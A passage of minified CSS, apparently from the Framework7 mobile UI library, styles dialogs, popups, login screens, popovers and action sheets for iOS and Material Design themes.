m:translate3d(0,0,0) scale(1.185);transform:translate3d(0,0,0) scale(1.185);-webkit-transition-property:opacity,-webkit-transform;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform;display:none;-webkit-transition-duration:.4s;transition-duration:.4s}.dialog.modal-in{opacity:1;-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1)}.dialog.modal-out{opacity:0;z-index:13499}.dialog.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.dialog-inner{position:relative}.dialog-title{font-weight:500}.dialog-buttons{position:relative;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.dialog-buttons-vertical .dialog-buttons{display:block;height:auto!important}.dialog-no-buttons .dialog-buttons{display:none}.dialog-input-field{position:relative}.dialog-input-field .item-input-wrap{margin:0;padding:0}.dialog-input{-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;margin-top:15px;border-radius:0;-webkit-appearance:none;-moz-appearance:none;appearance:none;width:100%;display:block;font-family:inherit;-webkit-box-shadow:none;box-shadow:none}html.with-modal-dialog .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}.ios .dialog{width:270px;margin-left:-135px;text-align:center;border-radius:13px;color:#000}.ios .dialog.modal-out{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1)}.ios .dialog-inner{padding:15px;border-radius:13px 13px 0 0;background:rgba(255,255,255,.95)}.ios .dialog-inner:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .dialog-inner:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .dialog-inner:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .dialog-title{font-size:18px;text-align:center;font-weight:600}.ios .dialog-title+.dialog-text{margin-top:5px}.ios .dialog-buttons{height:44px;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.ios .dialog-button{width:100%;padding:0 5px;height:44px;font-size:17px;line-height:44px;text-align:center;color:#007aff;display:block;position:relative;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;cursor:pointer;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-flex:1;-ms-flex:1;background:rgba(255,255,255,.95)}.ios .dialog-button:first-child{border-radius:0 0 0 13px}.ios .dialog-button:last-child{border-radius:0 0 13px 0}.ios .dialog-button:last-child:after{display:none!important}.ios .dialog-button:first-child:last-child{border-radius:0 0 13px 13px}.ios .dialog-button.dialog-button-bold{font-weight:500}.ios .dialog-button.active-state{background:rgba(230,230,230,.95)}.ios .dialog-buttons-vertical .dialog-buttons{height:auto}.ios .dialog-buttons-vertical .dialog-button{border-radius:0}.ios .dialog-buttons-vertical .dialog-button:last-child{border-radius:0 0 13px 13px}.ios .dialog-buttons-vertical .dialog-button:last-child:after{display:none!important}.ios .dialog-button:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:0;right:0;bottom:auto;left:auto;width:1px;height:100%;-webkit-transform-origin:100% 50%;transform-origin:100% 50%}.ios.device-pixel-ratio-2 .dialog-button:after{-webkit-transform:scaleX(.5);transform:scaleX(.5)}.ios.device-pixel-ratio-3 .dialog-button:after{-webkit-transform:scaleX(.33);transform:scaleX(.33)}.ios .dialog-buttons-vertical .dialog-button:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .dialog-buttons-vertical .dialog-button:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .dialog-buttons-vertical .dialog-button:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .dialog-no-buttons .dialog-inner{border-radius:13px}.ios .dialog-no-buttons .dialog-inner:after{display:none!important}.ios .dialog-input-field{margin-top:15px}.ios .dialog-input-field .item-input-wrap{margin:0}.ios .dialog-input{height:26px;background:#fff;padding:0 5px;border:1px solid rgba(0,0,0,.3);font-size:14px}.ios .dialog-input+.dialog-input{margin-top:5px}.ios .dialog-input-double+.dialog-input-double{margin-top:0}.ios .dialog-input-double+.dialog-input-double .dialog-input{border-top:0;margin-top:0}.ios .dialog-preloader .dialog-text~.preloader,.ios .dialog-preloader .dialog-title~.preloader{margin-top:5px}.ios .dialog-preloader .preloader{width:34px;height:34px}.ios .dialog-progress .dialog-text~.progressbar,.ios .dialog-progress .dialog-text~.progressbar-infinite,.ios .dialog-progress .dialog-title~.progressbar,.ios .dialog-progress .dialog-title~.progressbar-infinite{margin-top:15px}.ios .dialog-button.color-red{color:#ff3b30}.ios .dialog-button.color-green{color:#4cd964}.ios .dialog-button.color-blue{color:#007aff}.ios .dialog-button.color-pink{color:#ff2d55}.ios .dialog-button.color-yellow{color:#fc0}.ios .dialog-button.color-orange{color:#ff9500}.ios .dialog-button.color-gray{color:#8e8e93}.ios .dialog-button.color-white{color:#fff}.ios .dialog-button.color-black{color:#000}.md .dialog{width:280px;margin-left:-140px;border-radius:4px;color:#757575;background:#fff;font-size:16px;-webkit-box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12);box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)}.md .dialog.modal-in{opacity:1;-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1)}.md .dialog.modal-out{opacity:0;z-index:13499;-webkit-transform:translate3d(0,0,0) scale(.815);transform:translate3d(0,0,0) scale(.815)}.md .dialog-inner{padding:24px 24px 20px}.md .dialog-title{font-size:20px;color:#212121;line-height:1.3}.md .dialog-title+.dialog-text{margin-top:20px}.md .dialog-text{line-height:1.5}.md .dialog-buttons{height:48px;padding:6px 8px;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-pack:end;-webkit-justify-content:flex-end;-ms-flex-pack:end;justify-content:flex-end}.md .dialog-buttons-vertical .dialog-buttons{padding:0 0 8px 0}.md .dialog-buttons-vertical .dialog-buttons .dialog-button{margin-left:0;text-align:right;height:48px;line-height:48px;border-radius:0;padding-left:16px;padding-right:16px}.md .dialog-button{text-decoration:none;text-align:center;display:block;-webkit-appearance:none;-moz-appearance:none;appearance:none;background:0 0;padding:0 10px;margin:0;white-space:nowrap;text-overflow:ellipsis;font-size:14px;position:relative;overflow:hidden;font-family:inherit;cursor:pointer;outline:0;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle;color:#2196f3;border-radius:4px;line-height:36px;height:36px;text-transform:uppercase;min-width:64px;padding:0 8px;border:none;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);letter-spacing:.03em;font-weight:500}input[type=button].md .dialog-button,input[type=submit].md .dialog-button{width:100%}.md .dialog-button.active-state{background:rgba(0,0,0,.1)}.md .dialog-button.dialog-button-bold{font-weight:700}.md .dialog-button+.dialog-button{margin-left:4px}.md .dialog-input{height:36px;padding:0;border:none;font-size:16px;-webkit-transition-duration:.2s;transition-duration:.2s;position:relative}.md .dialog-input::-webkit-input-placeholder{color:rgba(0,0,0,.35)}.md .dialog-input:-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .dialog-input::-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .dialog-input::placeholder{color:rgba(0,0,0,.35)}.md .dialog-input+.dialog-input{margin-top:16px}.md .dialog-preloader .dialog-inner,.md .dialog-preloader .dialog-title,.md .dialog-progress .dialog-inner,.md .dialog-progress .dialog-title{text-align:center}.md .dialog-preloader .dialog-text~.preloader,.md .dialog-preloader .dialog-title~.preloader{margin-top:20px}.md .dialog-progress .dialog-text~.progressbar,.md .dialog-progress .dialog-text~.progressbar-infinite,.md .dialog-progress .dialog-title~.progressbar,.md .dialog-progress .dialog-title~.progressbar-infinite{margin-top:16px}.md .dialog-button.color-red{color:#f44336}.md .dialog-button.color-green{color:#4caf50}.md .dialog-button.color-blue{color:#2196f3}.md .dialog-button.color-pink{color:#e91e63}.md .dialog-button.color-yellow{color:#ffeb3b}.md .dialog-button.color-orange{color:#ff9800}.md .dialog-button.color-gray{color:#9e9e9e}.md .dialog-button.color-white{color:#fff}.md .dialog-button.color-black{color:#000}.popup-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s;z-index:10500}.popup-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popup-backdrop.backdrop-in{visibility:visible;opacity:1}.popup{position:absolute;left:0;top:0;width:100%;height:100%;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);background:#fff;z-index:11000}.popup.modal-in,.popup.modal-out{-webkit-transition-duration:.4s;transition-duration:.4s}.popup.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popup.modal-in{display:block;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.popup.modal-out{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}@media (min-width:630px) and (min-height:630px){.popup:not(.popup-tablet-fullscreen){width:630px;height:630px;left:50%;top:50%;margin-left:-315px;margin-top:-315px;-webkit-transform:translate3d(0,100vh,0);transform:translate3d(0,100vh,0)}.popup:not(.popup-tablet-fullscreen).modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.popup:not(.popup-tablet-fullscreen).modal-out{-webkit-transform:translate3d(0,100vh,0);transform:translate3d(0,100vh,0)}}@media (max-width:629px),(max-height:629px){html.with-statusbar .popup-backdrop{z-index:9500}html.with-statusbar.device-ios .popup,html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup{height:calc(100% - 20px);top:20px}html.with-statusbar.device-iphone-x .popup{height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top));top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}html.with-statusbar.device-android .popup,html.with-statusbar.md:not(.device-ios):not(.device-android) .popup{height:calc(100% - 24px);top:24px}}@media (min-width:630px),(min-height:630px){html.with-statusbar.device-ios .popup-tablet-fullscreen,html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup-tablet-fullscreen{height:calc(100% - 20px);top:20px}html.with-statusbar.device-iphone-x .popup-tablet-fullscreen{height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top));top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}html.with-statusbar.device-android .popup-tablet-fullscreen,html.with-statusbar.md:not(.device-ios):not(.device-android) .popup-tablet-fullscreen{height:calc(100% - 24px);top:24px}}html.with-modal-popup .framework7-root>.panel .page-content,html.with-modal-popup .framework7-root>.view .page-content,html.with-modal-popup .framework7-root>.views .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}@media (min-width:630px) and (min-height:630px){.md .popup:not(.popup-tablet-fullscreen){-webkit-box-shadow:0 20px 44px rgba(0,0,0,.5);box-shadow:0 20px 44px rgba(0,0,0,.5)}}.login-screen{position:absolute;left:0;top:0;width:100%;height:100%;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);background:#fff;z-index:11000}.login-screen.modal-in,.login-screen.modal-out{-webkit-transition-duration:.4s;transition-duration:.4s}.login-screen.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.login-screen.modal-in{display:block;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.login-screen.modal-out{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}html.with-statusbar.device-ios .login-screen,html.with-statusbar.ios:not(.device-ios):not(.device-android) .login-screen{height:calc(100% - 20px);top:20px}html.with-statusbar.device-iphone-x .login-screen{height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top));top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}html.with-statusbar.device-android .login-screen,html.with-statusbar.md:not(.device-ios):not(.device-android) .login-screen{height:calc(100% - 24px);top:24px}.login-screen-content{background:#fff}.login-screen-content .block,.login-screen-content .block-footer,.login-screen-content .block-header,.login-screen-content .list,.login-screen-content .login-screen-title{max-width:480px}.login-screen-content .list ul{background:0 0}.login-screen-content .list ul:before{display:none!important}.login-screen-content .list ul:after{display:none!important}.login-screen-content .block-footer,.login-screen-content .block-header{text-align:center;margin-left:auto;margin-right:auto}.login-screen-title{text-align:center}.ios .login-screen-content .block,.ios .login-screen-content .list,.ios .login-screen-content .login-screen-title{margin:25px auto}.ios .login-screen-title{font-size:30px}.ios .theme-dark .login-screen-content,.ios .theme-dark .login-screen-content .list ul{background-color:transparent}.md .login-screen-content .block,.md .login-screen-content .list,.md .login-screen-content .login-screen-title{margin:24px auto}.md .login-screen-content .list-button{text-align:center;color:#2196f3}.md .login-screen-title{font-size:34px}.login-screen-content.md .theme-dark,.md .theme-dark .login-screen-content{background:0 0}.md .color-theme-red .login-screen-content .list-button{color:#f44336}.md .color-theme-green .login-screen-content .list-button{color:#4caf50}.md .color-theme-blue .login-screen-content .list-button{color:#2196f3}.md .color-theme-pink .login-screen-content .list-button{color:#e91e63}.md .color-theme-yellow .login-screen-content .list-button{color:#ffeb3b}.md .color-theme-orange .login-screen-content .list-button{color:#ff9800}.md .color-theme-gray .login-screen-content .list-button{color:#9e9e9e}.md .color-theme-white .login-screen-content .list-button{color:#fff}.md .color-theme-black .login-screen-content .list-button{color:#000}.md .login-screen-content .list-button.color-red{color:#f44336}.md .login-screen-content .list-button.color-green{color:#4caf50}.md .login-screen-content .list-button.color-blue{color:#2196f3}.md .login-screen-content .list-button.color-pink{color:#e91e63}.md .login-screen-content .list-button.color-yellow{color:#ffeb3b}.md .login-screen-content .list-button.color-orange{color:#ff9800}.md .login-screen-content .list-button.color-gray{color:#9e9e9e}.md .login-screen-content .list-button.color-white{color:#fff}.md .login-screen-content .list-button.color-black{color:#000}.popover-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s}.popover-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popover-backdrop.backdrop-in{visibility:visible;opacity:1}.popover{width:260px;z-index:13500;margin:0;top:0;opacity:0;left:0;position:absolute;display:none;-webkit-transition-duration:.3s;transition-duration:.3s}.popover .list{margin:0}.popover .list ul{background:0 0}.popover .list:first-child ul:before{display:none!important}.popover .list:last-child ul:after{display:none!important}.popover.modal-in{opacity:1}.popover.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popover-inner{overflow:auto;-webkit-overflow-scrolling:touch}.popover-from-actions-bold{font-weight:600}.popover-from-actions-label{line-height:1.3;position:relative}.popover-from-actions-label:last-child:after{display:none!important}.ios .popover{background:rgba(255,255,255,.95);border-radius:13px;-webkit-transform:none;transform:none;-webkit-transition-property:opacity;transition-property:opacity}.ios .popover .list:first-child ul{border-radius:13px 13px 0 0}.ios .popover .list:first-child li:first-child,.ios .popover .list:first-child li:first-child a,.ios .popover .list:first-child li:first-child>label{border-radius:13px 13px 0 0}.ios .popover .list:last-child ul{border-radius:0 0 13px 13px}.ios .popover .list:last-child li:last-child,.ios .popover .list:last-child li:last-child a,.ios .popover .list:last-child li:last-child>label{border-radius:0 0 13px 13px}.ios .popover .list:first-child:last-child li:first-child:last-child,.ios .popover .list:first-child:last-child li:first-child:last-child a,.ios .popover .list:first-child:last-child li:first-child:last-child>label,.ios .popover .list:first-child:last-child ul{border-radius:13px}.ios .popover .list+.list{margin-top:35px}.ios .popover-angle{width:26px;height:26px;position:absolute;left:-26px;top:0;z-index:100;overflow:hidden}.ios .popover-angle:after{content:'';background:rgba(255,255,255,.95);width:26px;height:26px;position:absolute;left:0;top:0;border-radius:3px;-webkit-transform:rotate(45deg);transform:rotate(45deg)}.ios .popover-angle.on-left{left:-26px}.ios .popover-angle.on-left:after{left:19px;top:0}.ios .popover-angle.on-right{left:100%}.ios .popover-angle.on-right:after{left:-19px;top:0}.ios .popover-angle.on-top{left:0;top:-26px}.ios .popover-angle.on-top:after{left:0;top:19px}.ios .popover-angle.on-bottom{left:0;top:100%}.ios .popover-angle.on-bottom:after{left:0;top:-19px}.ios .popover-from-actions .list+.list{margin-top:20px}.ios .popover-from-actions .list ul{background:#fff}.ios .popover-from-actions .item-link i.icon{width:29px;height:29px;font-size:29px}.ios .popover-from-actions-label{padding:8px 10px;color:#8a8a8a;font-size:13px;text-align:center}.ios .popover-from-actions-label:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .popover-from-actions-label:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .popover-from-actions-label:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .theme-dark .popover,.popover.ios .theme-dark{background:rgba(30,30,30,.95)}.ios .theme-dark .popover .popover-angle:after,.popover.ios .theme-dark .popover-angle:after{background:rgba(30,30,30,.95)}.ios .theme-dark .popover .list ul,.popover.ios .theme-dark .list ul{background-color:transparent}.md .popover{background:#fff;border-radius:4px;-webkit-box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12);box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12);-webkit-transform:scale(.85,.6);transform:scale(.85,.6);-webkit-transition-property:opacity,border-radius,-webkit-transform;transition-property:opacity,border-radius,-webkit-transform;transition-property:opacity,transform,border-radius;transition-property:opacity,transform,border-radius,-webkit-transform}.md .popover.modal-in{opacity:1;-webkit-transform:scale(1);transform:scale(1)}.md .popover.modal-out{opacity:0;-webkit-transform:scale(1);transform:scale(1)}.md .popover .list:first-child ul{border-radius:3px 3px 0 0}.md .popover .list:first-child li:first-child,.md .popover .list:first-child li:first-child a,.md .popover .list:first-child li:first-child>label{border-radius:3px 3px 0 0}.md .popover .list:last-child ul{border-radius:0 0 3px 3px}.md .popover .list:last-child li:last-child,.md .popover .list:last-child li:last-child a,.md .popover .list:last-child li:last-child>label{border-radius:0 0 3px 3px}.md .popover .list:first-child:last-child li:first-child:last-child,.md .popover .list:first-child:last-child li:first-child:last-child a,.md .popover .list:first-child:last-child li:first-child:last-child>label,.md .popover .list:first-child:last-child ul{border-radius:13px}.md .popover .list+.list{margin-top:35px}.md .popover-on-top{-webkit-transform-origin:center bottom;transform-origin:center bottom}.md .popover-on-bottom{-webkit-transform-origin:center top;transform-origin:center top}.md .popover-from-actions .list{margin:0}.md .popover-from-actions .item-link i.icon{width:24px;height:24px;font-size:24px}.md .popover-from-actions-label{padding:8px 16px;color:rgba(0,0,0,.54);padding-top:12px;padding-bottom:12px}.md .popover-from-actions-label:after{content:'';position:absolute;background-color:#d2d2d6;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .popover-from-actions-label:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .popover-from-actions-label:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .theme-dark .popover{background-color:#202020}.md .theme-dark .popover-from-actions-label{color:rgba(255,255,255,.54)}.md .theme-dark .popover-from-actions-label:after{background-color:rgba(255,255,255,.08)}.actions-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s}.actions-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.actions-backdrop.backdrop-in{visibility:visible;opacity:1}.actions-modal{position:absolute;left:0;bottom:0;z-index:13500;width:100%;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);display:none;max-height:100%;overflow:auto;-webkit-overflow-scrolling:touch;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.actions-modal.modal-in,.actions-modal.modal-out{-webkit-transition-duration:.3s;transition-duration:.3s}.actions-modal.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.actions-modal.modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.actions-modal.modal-out{z-index:13499;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}@media (min-width:496px){.actions-modal{width:480px;left:50%;margin-left:-240px}}.actions-group{position:relative}.actions-button,.actions-label{width:100%;font-weight:400;margin:0;-webkit-box-sizing:border-box;box-sizing:border-box;display:block;position:relative}.actions-button a,.actions-label a{text-decoration:none;color:inherit;display:block}.actions-button b,.actions-button.actions-button-bold,.actions-label b,.actions-label.actions-button-bold{font-weight:500}.actions-button{cursor:pointer;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.actions-button-media{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.actions-button-text{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1}.actions-label{line-height:1.3;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.actions-grid .actions-group{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.actions-grid .actions-button{width:33.33333333%;display:block}.actions-grid .actions-button-media{margin-left:auto;margin-right:auto}.actions-grid .actions-button-text{margin-left:0!important;text-align:center}.ios .actions-group{margin:8px;border-radius:13px;overflow:hidden;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ios .actions-button,.ios .actions-label{text-align:center;overflow:hidden;background:rgba(255,255,255,.95)}.ios .actions-button b,.ios .actions-button.actions-button-bold,.ios .actions-label b,.ios .actions-label.actions-button-bold{font-weight:600}.ios .actions-button:first-child,.ios .actions-label:first-child{border-radius:13px 13px 0 0}.ios .actions-button:last-child,.ios .actions-label:last-child{border-radius:0 0 13px 13px}.ios .actions-button:last-child:after,.ios .actions-label:last-child:after{display:none!important}.ios .actions-button:first-child:last-child,.ios .actions-label:first-child:last-child{border-radius:13px}.ios .actions-button{height:57px;line-height:57px;font-size:20px;color:#007aff;white-space:normal;text-overflow:ellipsis;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.ios .actions-button.active-state{background:rgba(230,230,230,.9)}.ios .actions-button-media{margin-left:15px}.ios .actions-button-media i.icon{width:29px;height:29px;font-size:29px}.ios .actions-button-media+.actions-button-text{text-align:left;margin-left:15px}.ios .actions-label{font-size:13px;min-height:57px;padding:8px 10px;color:#8a8a8a;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}@media (orientation:lanscape){.ios .actions-label{min-height:44px}.ios .actions-button{height:44px;line-height:44px}}.ios .actions-grid .actions-group{margin-top:0;border-radius:0;background:rgba(255,255,255,.95)}.ios .actions-grid .actions-group:first-child{border-radius:13px 13px 0 0}.ios .actions-grid .actions-group:last-child{border-radius:0 0 13px 13px}.ios .actions-grid .actions-group:first-child:last-child{border-radius:13px}.ios .actions-grid .actions-group:not(:last-child){margin-bottom:0}.ios .actions-grid .actions-button,.ios .actions-grid .actions-label{border-radius:0!important;background:0 0}.ios .actions-grid .actions-button-media{width:48px;height:48px;margin-left:auto;margin-right:auto}.ios .actions-grid .actions-button-media i.icon{width:48px;height:48px;font-size:48px}.ios .actions-grid .actions-button-media+.actions-button-text{text-align:center}.ios .actions-grid .actions-button{padding:16px;line-height:1;height:auto}.ios .actions-grid .actions-button:after{display:none!important}.ios .actions-grid .actions-button.active-state{background:rgba(230,230,230,.9)}.ios .actions-grid .actions-button-text{margin-top:8px;line-height:16px;height:16px;font-size:12px;color:#757575}.ios .actions-button:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .actions-button:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .actions-button:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .actions-label:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .actions-label:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .actions-label:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .actions-button.color-red,.ios .actions-label.color-red{color:#ff3b30}.ios .actions-button.color-green,.ios .actions-label.color-green{color:#4cd964}.ios .actions-button.color-blue,.ios .actions-label.color-blue{color:#007aff}.ios .actions-button.color-pink,.ios .actions-label.color-pink{color:#ff2d55}.ios .actions-button.color-yellow,.ios .actions-label.color-yellow{color:#fc0}.ios .actions-button.color-orange,.ios .actions-label.color-orange{color:#ff9500}.ios .actions-button.color-gray,.ios .actions-label.color-gray{color:#8e8e93}.ios .actions-button.color-white,.ios .actions-label.color-white{color:#fff}.ios .actions-button.color-black,.ios .actions-label.color-black{color:#000}.ios.device-iphone-x .actions-modal.modal-in{-webkit-transform:translate3d(0,calc(0 - constant(safe-area-inset-bottom)),0);transform:translate3d(0,calc(0 - constant(safe-area-inset-bottom)),0);-webkit-transform:translate3d(0,calc(0 - env(safe-area-inset-bottom)),0);transform:translate3d(0,calc(0 - env(safe-area-inset-bottom)),0)}.md .actions-modal{background:#fff}.md .actions-group:last-child:after{display:none!important}.md .actions-group:after{content:'';position:absolute;background-color:#d2d2d6;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .actions-group:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .actions-group:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .actions-button,.md .actions-label{padding:0 16px}.md .actions-button{line-height:48px;font-size:16px;color:rgba(0,0,0,.87);-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}.md .actions-button,.md .actions-button a{position:relative;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.md .actions-button a.active-state,.md .actions-button.active-state{background:rgba(0,0,0,.1)}.md .actions-button-media{min-width:40px}.md .actions-button-media i.icon{width:24px;height:24px;font-size:24px}.md .actions-button-media+.actions-button-text{margin-left:16px}.md .actions-label{font-size:16px;color:rgba(0,0,0,.54);padding-top:12px;padding-bottom:12px;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.md .actions-grid{padding:0}.md .actions-grid .actions-button-media{width:48px;height:48px}.md .actions-grid .actions-button-media i.icon{width:48px;height:48px;font-size:48px}.md .actions-grid .actions-button{padding:16px;line-height:1}.md .actions-grid .actions-button-text{margin-top:8px;line-height:16px;height:16px;font-size:12px;color:#757575}.md .actions-button.color-red,.md .actions-button.color-red .actions-button-text,.md .actions-label.color-red{color:#f44336}.md .actions-button.color-green,.md .actions-button.color-green .actions-button-text,.md .actions-label.color-green{color:#4caf50}.md .actions-button.color-blue,.md .actions-button.color-blue .actions-button-text,.md .actions-label.color-blue{color:#2196f3}.md .actions-button.color-pink,.md .actions-button.color-pink .actions-button-text,.md .actions-label.color-pink{color:#e91e63}.md .actions-button.color-yellow,.md .actions-button.color-yellow .actions-button-text,.md .actions-label.color-yellow{color:#ffeb3b}.md .actions-button.color-orange,.md .actions-button.color-orange .actions-button-text,.md .actions-label.color-orange{color:#ff9800}.md .actions-button.color-gray,.md .actions-button.color-gray .actions-button-text,.md .actions-label.color-gray{color:#9e9e9e}.md .actions-button.color-white,.md .actions-button.color-white .actions-button-text,.md .actions-label.color-white{color:#fff}.md .actions-button.color-black,.md .actions-button.color-black .actions-button-text,.md .actions-label.color-black{color:#000}.md.device-iphone-x 